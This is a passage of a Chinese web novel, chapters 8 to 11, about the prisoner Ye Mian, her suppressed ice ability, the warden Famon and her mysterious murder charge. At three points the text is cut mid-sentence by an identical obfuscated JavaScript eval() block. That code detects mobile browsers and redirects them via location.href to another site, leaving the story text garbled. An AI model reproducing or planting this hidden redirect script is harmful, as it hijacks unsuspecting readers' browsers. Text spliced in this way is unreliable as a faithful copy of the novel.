她不动声色地想,看他这个反应,或许她应该……更放肆一点? “你需要什么?”法蒙尽量心平气和地说。 “武器,”叶眠不客气地说,“以及信息,跟叶绵绵有关的,还有关于反抗军的,越多越好。” “你真当自己不是叶绵绵?”法蒙冷冷地说,“没人能逃离自己的过去,就算你抗拒也没用。” 叶眠竖起手指:“不管前面我怎么诈骗的,更正一下,请叫我叶眠。叶绵绵是另一个人,她死了,我们是完全不同的两个人,明白吗?不是‘人无法跟过去的自己共情’这种戏码。” 法蒙再次无视了她的声明。 他对这名女囚实在生不起什么尊重之心。 “关于你跟陆风,其实我了解得也不多,机缘巧合才知道你跟他的关系。”他嘴角一提,眼里毫无笑意,“事先说明,我对你没有偏见,所有的消息都是线人传来。” 叶眠点头:“叶绵绵的事,我不做评判。” 法蒙点开手腕上的终端,扭转方向对着叶眠:“自己看。” “作为秘书,苦恋指挥使的恋爱脑……倒贴……忠心耿耿……吃住不在一起只偶尔见面,陆风对她态度微妙?” 叶眠想把死去的叶绵绵拽出来,给她两巴掌让她清醒一点。 人人都不看好你,偏偏你最不争气! 入狱后陆风管过什么事?还不是放她坐天等死! “看明白了?”法蒙轻哼一声。 他本来心情很差,看到叶眠吃了苍蝇一样的表情,竟然感觉好了一些。 “看明白了,我是陆风的温柔小蜜。”叶眠中肯总结。 她见不得法蒙舒服,于是又阴阳怪气:“这个身份,这么近的距离,这么好的机会,你竟然想放养我,暴殄天物。” “只是近而已,你太小看陆风了,”没想到法蒙不为所动,“一个失忆小蜜的能力,食之无味弃之可惜,如果你的理由是‘英雄难过美人关’,那我无话可说。” 叶眠眼神加深:“你不会认为我的作用只有美色吧?想让我自证价值?想听我表忠心?” 又是这种不受尊重的感觉。 不得不说,法蒙这副高傲的性格,惹人生气很有一套。 法蒙的观点被戳破,但他面上不置可否:“我并不介意。” “做梦去吧,”叶眠微笑,迅速转换话题,“反抗军的信息呢?” “在你离开的时候,我会让人给你送来特制的终端,做完处理,信息传输加密。” “武器?” “可以给你配枪,但你会用吗?” “尊敬的法蒙先生,”叶眠有些无奈了,“如果您愿意大发慈悲解开我的项圈,或许就可以不用担心这个问题了。” 项圈……啧。 法蒙的目光在她苍白的脖颈上一触即离:“不可能。” 叶眠耸肩:“会用,我要配枪。弹药管够吗?” 法蒙:“如果你能每个月离开反抗军,我可以派人线下跟你接触。” “行。”叶眠还算满意。 “还有别的要求吗,叶小姐?”法蒙说出这个称呼的语气略带嘲讽。 “测我的异能活跃等级,”叶眠说,“101没有钥匙,你给我测?” 法蒙皱眉——他没干过这种活。 但是四代环的事情又最好不要透露,他只能说:“我来。” 两人大眼瞪小眼。 叶眠眼神催促:我干什么? 法蒙心想,只要确认她异能正常释放就行。 他拿出钥匙插件,叶眠配合地前倾身体。 与上次完全针锋相对的气氛不同,随着距离拉近,叶眠眼都不眨,法蒙避免不了地和她视线接触。 ……她眼下有一颗小痣。 他的手掌碰到她的颈侧,甚至能觉出她的脉搏,平稳地跳动着。 叶眠声音放轻,她稍微侧头,语速很慢:“……插个插件,需要这么慢吗?” 旖旎气氛一触即碎,法蒙眼里划过一丝晦暗。 收回手,他调出控制板:“叶小姐,请。” 叶眠完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224739|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有被影响:“我失忆了,你忘了?” “……连怎么发动异能都忘了?”法蒙眉头一动。 他不得不怀疑,叶眠是在降低他的警惕性。同为A级异能,法蒙不认为叶眠比他更强,但是对他造成伤害的可能性依然存在。 “如果你质疑我的身份,那可以尽管去查,”叶眠无所谓地说,“目前来看,我就是完全失忆了。” 法蒙忍耐地闭了闭眼,重新做好心理建设,这才开口教她:“对于初学者,需要沉心静气,摈除干扰,调动异能与使用你的四肢没有区别,不要把它想得太麻烦。” 叶眠不敢说她觉得有点抽象,遂照做。 沉心静气……调动异能…… 她睁开眼,手心微湿。 法蒙皱眉:“你在干什么?” 手汗吗? 叶眠没好气地说:“我就是按你说的做的。” 法蒙看着她空无一物的手心,迷惑道:“再试一次。” …… 半分钟后,叶眠再次睁眼。 她手心出现了一点水珠,但是所谓的冰棱、冰锥连影子都没见着。 叶眠看向法蒙,后者表情微变。 她聪明到通透:“所以是我异能变弱了?” 不知道法蒙想了什么,他放下一句“等着”就去敲了隔壁101的门。 不一会儿他就回来了:“检查员说等这一批轮完。” 叶眠点点头:“所以,我是被禁制环损伤异能的倒霉蛋,而你让我出狱给你当卧底,还不肯给我解环。” 法蒙没说话,态度很明确:他不会退让。 “这跟虐待下属有什么区别?” 臭当官的。 叶眠暗自咬牙,嘴上为他送上一顶高帽,心里已经在想怎么安排火葬场了。 - 【隔壁101】 检查员送走了这批最后一个犯人,把该登记的数据都登记完,疲惫地揉了揉眉心。 她没有第一时间叫隔壁的典狱长和278号过来,而是打开终端,给自己那个还在念书的弟弟发消息。 “你把手里那条四代环送出去了?” 手指敲击桌面,沈舒云心想,我就等两分钟。 一分半过去了,沈舒白的通讯跳出:“怎么了姐?” 通讯里有些嘈杂,他周围有人。 “沈舒白,你知不知道四代环还在测试,特殊个体的异能抵抗说明都没出,你就把它送给法蒙投入使用,什么意思?” “诶?你怎么知道?噢,C监检查日,把你拉过去了?” “你别管我怎么知道的,现在的情况是,那个犯人异能好像真受损了,我需要解决方案。” 那头闹出了点声音,似乎是沈舒白在跟人道歉。 然后背景安静下来,他的声线变清晰了不少,语气也没了一开始的欢脱:“这么低概率的事情,怎么这么巧?就一条环,直接命中了?” “你怎么混在革命党和反抗军中的我不管,但你连学医的初衷都忘了?”沈舒云摘下眼镜,“你就这么看着他把那个人异能荼毒干净吧。” “……是我考虑不周,”沈舒白短暂失声,然后干脆认错,“我会跟法蒙联系,争取让他把环摘了,但,唉,概率不高。” “那你就想想怎么给她治好,负起你的责任来,”沈舒云叹气,“如果要异能剥离的是你,你会好受吗?” 她挂断通讯。 门口叶眠探头探脑:“请问……我可以进来了吗?” 9. 第 9 章 “来坐,”沈舒云一改之前的冷淡态度,“我是沈舒云。” 叶眠莫名有种成为小白鼠的感觉,她警惕地坐下。 “入狱犯的什么罪?” 沈舒云决定先查一下成分。 “……杀人。”叶眠诚实地说。 沈舒云有点意外地看她一眼,觉得她还算面善,不像穷凶极恶之徒。 “抽你三管血,分析结果大概两天后发给你,”沈舒云说,“我知道你在监狱里没有通讯方式,但总之,报告会在两天后送到你手上。” “那我的异能……” “不介意的话,可以现在展示给我看看,”沈舒云又看了一边信息表,“冰系异能的外现形式大多是凝冰,再强一点范围降冰控场,攻击性辅助性都很不错。” 叶眠好奇地问:“所以同样的冰系异能,也会有等级上的区别吗?” “是的,级别到A,砸个冰雹还是很轻松的,”沈舒云推推眼镜,很耐心地解释,“为了房子着想,你最好收敛一点。” 叶眠深呼吸,闭眼,双手合十,指尖触及鼻尖,一副十分虔诚的模样。 几秒后她睁眼,摊开手。 手心中,牙签粗细的透明冰棱,大概只有两厘米长,在两个人的眼皮子底下,逃命一样融化了。 叶眠讪讪一笑。 沈舒云欲言又止。 这A级实在是…… “检查员,不瞒你说,我是四代禁制环,典狱长走之前给我开了半个小时权限。”她异能都要没了,四代的事情瞒不住。 “刚解禁的时候,大概只能凝出一点水,然后慢慢地可以造出一点固体,但你也看到了,很快就融化了,明显是数量质量都不合格,一点都不像A级。” “随着解开禁制的时间延长,异能会逐渐恢复吗?”沈舒云若有所思。 “不知道,没试过,”叶眠叹气,颇为感慨,“监狱长死活不同意给我解开,可能是某种不可告人的岔劈吧,爱看人带choker……唉。” 她指了指自己的脑壳,沈舒云大为震撼。 竟……竟然是这样吗? 怎么能以权谋私呢! 还是得让沈舒白尽快说服法蒙给人把环摘了啊! - 被背后蛐蛐的法蒙此时已经离开C监。 回市区的悬浮车上,他闭目养神,脑子里不期然划过叶眠缠着绷带的圆润脑瓜,他有点想笑。 都伤成这样了,嘴还那么硬,真有活力。 终端的消息打破了车内的宁静气氛,他意识到自己在想什么,眉头一跳。 沈的通讯申请。 “法蒙,还记得我上次送你的四代环不?”对面少见的有点吞吞吐吐。 “怎么了?” 说到四代环就要扯上叶绵绵,法蒙不动声色地拉了拉领带。 “四代环的异能抵抗报告快出来了,实验版要回收。”沈舒白想了个借口,自己都觉得有点牵强。 “你就说这条损毁了,实验室不会怪罪的。”法蒙现在觉得,把它用在叶眠身上真是个完美的决定,他没意识到,自己的心态已经悄然变化。 “不好吧,”沈舒白犹豫着说,“主要是第四代环的副作用不清晰,万一真给人把异能抵抗掉了,叶绵绵那种性格……会崩溃吧?很危险啊,兔子逼急了都会咬人的。” 他这还带着点不确定呢,没想到对面的法蒙一声嗤笑:“你的情报出了点差错。” “嗯?不可能啊?”沈舒白反驳,“她跟陆风相处我是亲眼看到的。” “我跟叶绵绵见了两面,”法蒙彻底扯松了领带,“挺有意思一人,有点小聪明,还有点野。” ……? 沈舒白一瞬间以为自己听错了。 “你没事吧?”他真诚发问。 “没事。等她回反抗军,你多关注一下。” “嗯哼,行。”沈舒白应下,一边苦逼地想:就算你不让我关注我也得关注啊,我姐都下死命令了,万一你给人异能折腾没了,我还得想办法挽救一下。 法蒙:“我准备让她每月给刘仁交汇报,如果刘仁有事,就让她交给你。” 刘仁是法蒙的直属心腹,跟他一起回首都星,到现在,没休过一天。 “刘仁已经忙死了,天啊。”沈舒白感慨。 “拿钱办事,”法蒙冷酷无情地说,“还有,关于德里克跟反抗军指挥使的事情,有查到什么眉目吗?” “我说尊敬的法蒙先生,你刚委托我一天,我只是个医生,又不是你手底下那种特工!”沈舒白大声抗议,一边收拾东西,准备趁假期搬去反抗军基地常驻。 “你跟特工也没差了,挂了。” 沈舒白叹气。 这位年轻的中将做事实在雷厉风行,连带着革命党的作风都肃然可畏。 “过刚易折啊,过刚易折。”他念叨着,想起来叶绵绵的血样,顺手给沈舒云发了个新地址。 他对叶绵绵的研究会在反抗军基地展开。 “如果研究出来针对异能抵抗的特效药,能不能再发个silence或者nonsense呢?”沈舒白苦中作乐地想。 ——他的第一篇NS发的是生长因子。可惜,那玩意需要用到他自己的异能,没法量产。 - “怎么耽误这么久?”胖子很讲义气,撑着把遮阳伞在门口等她。 “异能出了点问题。”叶眠也没藏着掖着,挤到了他的伞下。 虽然从她醒来到现在,从来不知道正常使用异能是什么效果,但被束缚局限的感觉还是很不美妙,更别提可能还面临着永久丢失异能的风险——法蒙,啧。 “什么?!”胖子惊讶,“那你现在……” 他有点不敢说,怕伤了叶眠的心。 “没事儿,”叶眠反倒看得开一些,“只要不是永久的就行。” 等她出去,杀了法蒙,什么都好说。 叶眠表面笑意盈盈,一点不像在拉表暗杀名单的模样。 “那就好……也不太好啊。”胖子忧心忡忡,很快就是二次审判,叶眠这个马上要死刑的,比他这个出不了狱的更惨一点。 “我有办法的,别担心。”叶眠猜到他在担心什么,宽慰说。 王五招呼他们回医院。 “保卫先生,我能问个问题吗?”叶眠跟在他身后,很是乖巧可人。 王五因为那晚上的暴动,对她观感还不错:“怎么了?” “监狱里有什么办法能查卷宗吗?” “想查别人的肯定不行,如果你想看自己的卷宗,我之后给你带去医院。”王五说。 叶眠大喜:“多谢!多谢!” “怎么了?又在想自己杀人入狱的事情了?”胖子凑过来跟她说悄悄话。 “怎么叫又?”叶眠不解。 胖子:“你在钢筋入脑之前,天天说你杀人有隐情、会有人救你的,像在念经,很瘆人。” 叶眠沉思。 有人救“我”?感觉代入一下叶绵绵的人设,似乎能期待的只有陆风了。 “还有你当时的性格,和你杀256号爆发的武力值,感觉不太匹配,”胖子一口气说摸了摸胳膊上的鸡皮疙瘩,“现在性格倒是更好一点。” 叶眠婉拒:“不必迷恋姐,姐只是个传说。” “不是姐们儿……”胖子无语。 所以我跟叶绵绵到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224740|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底什么关系? 256号,一个赏金猎人,他背后又是谁的命令? 陆风、法蒙,一个个的似乎都不把她当人看,捞着机会就使唤她。 “唉,”叶眠叹气,“烦。” “心烦长结节,”胖子想起什么,在口袋里掏了半天,献宝一样拿出来一个纸袋,“看!” “什么好东西?”叶眠配合地说。 “肉松馅的面包!”不过稍微有点挤了。 “哇!”叶眠惊叹,“你生的?给我的?” “什么叫生的!通用语文盲!”胖子不满,“测异能的时候,做了三个,给了检查员一个,我们一人一个。” “好兄弟!”叶眠眼泪汪汪,接过来一口咬掉半个。 “怎么样!好吃吗!”胖子一脸期待。 ……好像盐放少了? 或者说,放盐了吗? 叶眠闭上眼慢慢咀嚼:“嗯……嗯……不错!好吃!” 不管怎样,比起C监医院的饭,胖子手作面包嚼劲十足,面香充斥口鼻,肉松细腻,口感层次丰富。 胖子自豪地一竖大拇指:“不愧是我!” 叶眠一口吃掉剩下半个,眼珠一转:“胖子,考不考虑多做点。” 胖子脸一垮,拉了拉自己脖子上的禁制环:“有这个呢。” “我既然能打开我的二级禁制环,肯定也能打开你的,”叶眠脑子转得飞快,“反正我们也不干别的,只是做两个面包改善伙食……” “咳咳。”王五清了清嗓子。 “保卫先生也想吃!”叶眠给出一个肯定的眼神。 胖子犹犹豫豫:“真的吗?” “我说你们两个,”王五无奈,“尊重一下监狱规则吧,我怎么说也算得上在编狱警啊!” 叶眠作势给嘴巴拉上拉链,示意胖子回去再说。 - 等护士晚上来给叶眠换药的时候,正好看到她一手把东西往枕头下面藏。 “什么东西?”她说。 “没什么啦。”叶眠眼神飘忽。 护士抢出来一看,原来是一根不知道哪里找到的铁丝。 她不解:“你现在的禁制环不是这种东西能戳开的,怎么还不放弃?” 叶眠小声说:“监狱犯太难吃了,我朋友异能可以手搓面包。” 她试了一个下午,唯一的收获是禁制环内置芯片,不跟铁手镯一样好糊弄。所以她没有轻举妄动,生怕真给胖子戳开了又给他添麻烦。 “你省省吧,”护士拍了她一下,“禁制环解开会触发报警的,你上次不就是这么被抓的?” 叶眠“唉”了一声。 “王五说你要看卷宗,让我给你捎过来,”护士放下一本电子书,警告地说,“没有联网功能。” 叶眠被看穿,有些讪讪:“好吧,谢谢你。” 换完药,护士又放下四瓶止痛,被叶眠放了三瓶回车子里。 她挑眉:“不怕疼了?” 叶眠摇头:“抗药性越来越强了,我吃这个东西跟糖豆一样,已经几乎没用了。” 说实话,她觉得自己痊愈得似乎有点快,但因为没有对比样本,所以暂时没提。 “可怜的叶眠,”护士按照惯例摸摸她头顶,“铁丝我带走了。” 送别护士,叶眠打开了电子书。 里面只有一个文本文件,封面带着水印和红章,标题是《C监278号犯人入狱卷宗》。 她抱着看好戏的心情点开第一页。 犯人姓名:叶绵绵 罪名:谋杀 受害人:蒋仕临(前审判长) 啊?谁? 叶眠瞳孔地震! 10. 第 10 章 经过前几天的学习,叶眠已经充分理解了联盟的权力分配。 联盟的直接下属有几大板块,除了议会和军部,最重要的一部分就是审判庭。 审判长是什么人?审判庭的头头儿。 联盟的一把手是主席。四舍五入,审判长是全联盟二把手之一。 叶绵绵,杀了前审判长? 叶眠的第一反应是,杀了审判长,竟然只判八十年? 随后她意识到,叶绵绵的身份似乎比她想得更复杂。 什么人才能接触到审判长? 叶绵绵甚至能突破蒋仕临的安保把他宰掉,卷宗里明晃晃的“谋杀”二字彰示着她的成功。 有点东西啊,绵绵。 她按下心潮澎湃,翻到第二页。 “加密档案,具体细节不予公开。” 叶眠瞪眼。 她一口气往后翻了十几页,每页都是这几个字。 布什格们? 假饵钓鱼?! 使尽浑身手段,加密卷宗也看不出什么东西,叶眠暂时没辙了,她收起阅读器,觉得自己今晚一定睡不好了。 事实上,她也确实没睡好。 梦里,叶眠睁眼,先呆了一下。 又是大火。 热浪逼人,像是要把她做成烤肉干。 这次梦的实感更重,她竟然连身体都有了,痛觉什么的更是一应俱全。火烧火燎的感觉无处不在,热气蒸得她双眼刺痛、脸颊发红。 叶眠在心里骂爹,这梦做得这么逼真,又不真烧死她,除了折磨没有任何作用。 等等,逼真? 她灵机一动,一摸脖子,果然没有禁制环! 那……试试? 叶眠虔诚地想: 冰系异能,你崛起吧! 火舌攀附到衣摆,叶眠单手在胸口虚握。 三秒后,手心一抹凉意,湿滑寒冷的手感回传到大脑,叶眠惊奇地低头:一把半米长的透明短冰锥,赫然出现在她手心。 锥柄握在手中,护手之后的锥身利落收束,流畅的外形彰显着它作为武器的优越资质。锥尖滑出一滴水,将落不落地挂着,很快就消失在高温里。 五指合拢,叶眠甚至能感受到,锥柄在体温和环境高温中融化变细的过程。水汽蒸腾,虽然暂时对这场无边大火没什么作用,但这是叶眠第一次成功使用异能。 丝滑,顺畅,得心应手。 真就像法蒙所说,如同动用自己的四肢。 冰锥很快被高温融化到不留痕迹,如果不是这场火烧了这么久还没把她烧死,叶眠简直要怀疑这到底是梦还是现实。 太诡异了。 她一边想,一边再次调动异能。 五指一搓,三把冰锥出现在指缝,叶眠明显地感受到一点滞涩和疲惫——四把冰锥,就是她现在的极限了。 一模一样的锥体,中芯带着点深蓝色。像第一把冰锥一样,它们在叶眠的注视下变成水汽,消失得无影无踪。 叶眠若有所思。 她拍了拍身上沾上的火,意外发现身上的衣服有些像她见到的C监囚服。同样脏兮兮,破破烂烂,但版型上不太一样。 难道跟这个梦的背景和内容有关吗? 她试探性地踏出一步。 烫! 紧急避险,叶眠瞬间把脚缩回,痛苦面具一带,半天才缓过来。 她没有鞋,赤脚踩到地板,没想到比刚刚站的位置要热上不少。脚底通红,但没什么实质性的伤痕。 古怪。 叶眠左右尝试了一下,半径三十厘米内,地板温度属于烫脚、但能忍受,而这之外,就不是她现在能轻易触碰的了。 作为一个天生疼痛感知超敏的人,叶眠不允许自己没苦硬吃,想来想去,决定还是先呆在原地。 她把这个地方起名为出生点一号,原地一坐。 热,但还好。 就当给屁股做热疗了。 休息了一会儿,叶眠感觉自己又行了,于是她再次调出异能,凝出掌心大小的冰块,双手合握。 爽,可惜她们没法地久天长。 叶眠卡着三十厘米的边缘,恋恋不舍地把冰块往地上一放。冰块“滋滋”地消失了,留下浅到几乎看不清的水痕,很快就彻底消失,仿佛那块冰从没存在过一样。 她心里冒出一个想法:如果冰足够多……是否可以扑灭这场火? 古怪古怪。 这个梦似乎没有危险性,除了灼伤的疼痛外,她能做的似乎只有发呆和玩她的异能。 叶眠睡也睡不着,走也走不掉,干脆卡着自己的异能缓冲时间,休息一会儿就捏一块冰出来,拿在手里爽一下,然后丢出去。 最后得出结论:细水长流的冰块,对抗不了熊熊燃烧的大火。 那如果,异能水平可以提升呢? 她现在只能一口气凝出小半立方米的冰,然后就会陷入疲乏状态。如果她可以一口气凝出五方、十方、一百方的冰呢? 她想:等这个梦结束出去问问吧。 大火中的时间流速变得很奇怪,叶眠不知道重复了这个丢冰块的动作多少次,终于…… 天亮了。 叶眠眼下挂着黑眼圈,感觉自己这一觉,睡了跟没睡一样。 依然是固定的流程。换药,扎针,吃饭,看电视。 胖子奇怪地说:“你怎么不吃止疼片了?” 叶眠吃止痛跟吃糖一样,但从昨天开始就一片不吃了。 叶眠轻轻地摸了摸自己的脑壳,还是不敢用力:“今早护士姐说我身体愈合速度挺快,可能是生长因子的作用,已经没怎么疼了。” 她还担心自己建立永久抗药性,以后再受重伤怎么办?生生痛死? 胖子羡慕:“生长因子能治先天白化吗?我这样还是挺不方便的。” “但很帅啊,别人要金毛还得特意染,你少走五百块弯路。”叶眠鼓励道。 胖子的瞳孔是浅蓝色的,必须带隐形眼镜才有正常视力,出门要打伞防晒,体质也比常人更弱。 他哼唧两声:“我爸说我这个样子当不了继承人。” “以貌取人,这是要走打脸剧本啊。”叶眠拍了拍他的手臂。 “别说我了,你这又是怎么回事,昨天晚上熬夜了?” 叶眠想起正经事,她狗狗祟祟地说:“你知道蒋仕临吗?” “知道啊,前审判长,”胖子说,“刚死没多久,说是被心腹暗杀了。” 心腹?? 叶眠心中一紧。 她不会在蒋仕临手下还有点什么身份吧? “但其实,我还听到了一个说法,”说到八卦,胖子也来劲了,“他是被他儿媳毒死的。” 儿媳?? 叶眠身上炸起一层鸡皮疙瘩。 还不如心腹呢! 胖子煞有介事:“据说他这个儿媳妇是别人强塞来的,就为了换个议会席位。人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224741|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫁过去两年,啥事也没干,就给那老头子下毒了,最后,呐呐呐,一波毒发,一击致命,蒋仕临直接死家里了,救都没得救。” 两年的话,那应该不至于了。好歹跟陆风还有段关系摆在那呢,叶绵绵总不至于婚内出轨、或者背着陆风嫁人吧? “她还挺能忍的。”事不关己,叶眠客观评价了一句。 “可不是!”胖子拍案,“听说蒋家父子性格古怪,那姑娘定是遭了什么折辱,忍气吞声,终于奋起反抗。唉,不知道她现在怎么样了。” 越来越离谱了。 “恶有恶报,”叶眠敷衍一句,提到她更关心的,“那蒋家的儿子呢?” 如果没有错判,那可是对她有杀父之仇的余孽,叶眠担心他一头热血要替父报仇。 “蒋钰?纨绔子弟,不值一提,”胖子不以为意地说,“没了他爹,我看他也成不了什么气候。” 叶眠这下放心了:“行。” “欸,对,他的异能用药堆上了B+,也不能说完全不中用吧,”胖子突然想起来,“但蒋仕临死得突然,根本没做交接,蒋钰又不参军,拿不到军功,我看他晋升是难了。” 叶眠关注到第一句:“异能等级能提升?” “很玄乎。联盟有专门的异能研究室,每年都会发出来点东西,比如提升异能等级的药啊,比如禁制环啊,这都是他们研究的。” “就没什么正常的提升手段吗?” 胖子疑惑:“咋了,你要练异能?带着环还想练异能?” 叶眠拍他一下:“学习一下不行吗?怎么说话的你。” 胖子捂头“哎呦”一声:“主要你最近很多常识都不知道了,很诡异,懂吗?” “那没办法,我伤着脑袋了,是人是鬼有病没病,我就这样了,你跑不掉了桀桀桀。”叶眠邪魅一笑。 胖子欲言又止,止言又欲。 “唉,按理说我该高兴的,但你,唉,我报说。” “谢主隆恩就行,”叶眠一笑揭过,“快说,异能提升的常规办法。” “怎么练肌肉就怎么练异能呗,抗阻训练和耐力训练,”胖子说,“人人异能的年代,异能就像人的第三只手,练异能的不少见,但等级突破就比较看运气了。” “A级以上……” “S级,”胖子两眼放光地打断,“目前公开身份的,全星系只有一个人!” “谁啊?”叶眠生出点好奇。 或许这份好奇里还掺着点好胜,叶眠感受到自己加快的心跳在叫嚣。 胖子眉飞色舞:“传说中的那一位,帝国皇帝。” 皇帝啊…… 叶眠摸了摸下巴,结果碰到刀伤,忍不住“嘶”了一声。 “帝国跟联盟不是敌对关系吗?你咋这样。” “无关立场,单纯个人崇拜。”胖子很坚定。 叶眠脑筋一转,说:“你不会是想效仿他这个‘流落荒星十几年,回宫即位后,杀穿半个星系’的经历吧?” 皇帝的故事胖子之前给她讲过了。 没想到,胖子双眼一瞪,在叶眠眼皮子底下——红温了。 得,猜中了。 “这一次,你要把属于你的全部夺回来?”叶眠试探说。 胖子小声接:“让所有看不起我的人都付出代价,把被夺走的荣耀与尊严,一并拿回来!” 叶眠肃然起敬,比了个大拇指。 理想远大!不愧是她的勇者朋友! 11. 第 11 章 胖子本人的异能没有战斗效果,但理论知识一点都没少学。跟胖子在输液室待到中午,叶眠感觉自己对异能的理解更深了。 下午,叶眠决定补觉。 晚上,叶眠继续补觉。 她以为自己会再次梦到火灾,结果一觉睡到天明。 起来后她思索半晌,觉得这个梦应该算随机出现。 要是能控制频率就好了,除了需要补觉这个坏处,她完全可以带着禁制环练异能。 就像某些文章里的主角,拥有控制时间流速的法器,苦修百年、现实一天……她是真的很想成为S级异能者啊! 护士拿来一个文件袋。 “我的?”叶眠从畅想中脱离出来 “你的,署名是异能研究院。现在纸质材料很少见了,研究院真是财大气粗。”护士说。 叶眠拆开封条,里面是她的异能检测报告。 掠过密密麻麻的指标,叶眠的目光落在最后。 “样本异能抵抗反应评级为最高级,60%概率可致永久性丧失,应尽快摘除禁制环。样本体内的封锁抗体含量高于人类平均水平7000倍,当前的剧烈抵抗状态,可能源于四代的持续注射物重新激活了封锁抗体。” 封锁抗体? 叶眠往前翻,在某一页看到了这一项指标及注解。 ——封锁抗体是前两代禁制环特有的化学成分,通过微注射达到压制异能水平的效果,具有时效性。失效后不会随代谢离开人体,但对人体无害。 叶绵绵曾长时间佩戴前两代禁制环……? 为什么? 叶眠皱眉翻回最后,还有一行手写的批注。 “叶小姐,我是沈舒云,这是我的星网id,有任何需要可以随时联系我。如果您方便的话,可以固定频率邮寄血样至地址:……,您的血样对目前关于禁制环的研究有重要意义。” 叶眠也没想到,偶遇的检查员竟然是异能研究院的研究员。 她摸了摸下巴。 关于禁制环,报告里话没说死,但永久丧失异能威胁当头,法蒙的态度又不会动摇。等出狱之后,最好尽快行动。 叶眠心中杀机涌动,但她先把这件事放到一边。 目前最重要的还是离开监狱后,怎么在陆风眼皮子底下保全自己。直接说,老大,你枕边人换了个芯子? 那可是反抗军指挥使。 “姐,有办法联系到典狱长吗?”叶眠问道。 她并不觉得自己擅长温柔小意,但形势所迫,不得不提前了解情况,做好应急规划。 “这你得找王五,”她说,“他今天下午值班。” 胖子今天没来,叶眠有种不好的预感,一过中午就去找了王五,但他也表示无能为力。 “只有典狱长找我,没有我找他的情况。而且,他也基本不在办公室,偶尔来一次,神出鬼没的。监狱那边,应该是黑兔子跟他接触的多一点,因为新狱长似乎无意改变C监秩序,最近他可谓是春风得意。” “黑兔子?”有点耳熟的名字。 “他负责后勤资源分配,算是狱警里的小头目,”王五说,“本来是老狱长的狗腿子,管着多人间的小游戏,现在见风使舵,倒了法蒙。” 叶眠眯眼。 “那能联系到他吗?” “如果你要回监狱区的话,可能会在安检处见到他。” 今天没有胖子的消息,又听说了黑兔子这个角色,叶眠决定去监狱区一趟。 她说自己要回牢里拿东西,护士给她开了通行条,嘱咐她要按照上面的时间准时回来。 叶眠怀着点忐忑的期待,顺畅地走出了医院大门。 迎面是铁丝网与高墙,向后包裹住整个医院区,连阳光都落不到地上。摄像头的红光实时锁定附近的所有移动对象,自动枪械的枪口无死角普照。 叶眠彻底明白,为什么自由帮没试图从医院越狱了。 除非解决禁制环,但这样就又绕回去了,内置芯片实在不好处理。 ——C监的防守实在是有疏有密。 水泥路的尽头,是重装把守的检查站。 一支枪口顶在头上,扫脸,身份识别通过。 禁制环检查通过,批完通行条,其中一位带叶眠走到隔间,反手带上门。 “脱衣服。”是个女声。 叶眠很有囚犯的自知之明,干脆照做。 女狱警熟练地捏过她的四肢,又检查了舌下、牙后等地方。确认叶眠没有携带医院的东西出来,她点头:“谢谢配合。” 穿戴整齐后,两人出了隔间。叶眠站到关卡前,说:“我想找黑兔子。” “找头儿?”旁边的男狱警表情微妙,看向女狱警。 叶眠眉毛一动。 女狱警语气平静:“他不在。6区是吧,我带你回房间。” 叶眠只能跟上。 * 第一次进入C监,这座监狱比她想得要更宏伟一些。 她们首先经过9区,9区是一栋长条形的建筑,整体的色调是黑灰色的。 从9区底层走廊向上,一眼看不到屋顶,只能看到一片漆黑。很高的建筑,无法想象一共有多少层,容纳了多少人。 鞋底踩在地板上,脚步声回荡,但囚禁者的声音却听不到一分一毫。每间牢房外都有独立的钢板与电网,实时监控投影在外墙,叶眠能看到里面的人,睡觉的、发疯的、蜷缩不知死活的,总之,没有任何声响。 这就是寂静的重犯死囚9区,如果死立执判决下来,叶眠会在这住到处决前。 三个穿着灰色制服的狱警,压着一个摇摇欲坠的囚犯从叶眠身边路过。 那人骨瘦嶙峋,囚服空荡荡地挂在身上,露出半个皮包骨的肩膀。他被狱警拽得一个踉跄,喉咙里发出一声痛吟。 “烟花姐怎么在这?”其中一个看到叶眠身边的女狱警,亲亲热热地喊。 “送人。这是?” “6区的。纺织任务累计三天没完成,准备把他送到七人间呆两天。”另一人嬉皮笑脸,踹了一脚死囚的后背,叶眠感觉自己好像听到了骨折的声音,果不其然,那囚犯立刻开始惨叫。 “还叫!” 又一脚。 叶眠移开视线。 “烟花姐见笑啦,”开口的人语气依然友善,“今天的7001可有意思了,三个非9区的犯人,这个半死不活的是癌症晚期,还有一个残疾,能打的就剩个胖子,我都能预见到9区重犯的压倒性胜利了。” 叶眠心一沉。 “那个胖子听说是头儿亲自抓来的,入狱之后一天日常指标都没做过,拿着病历当护身符了。”第三个人十分嫉恶如仇。 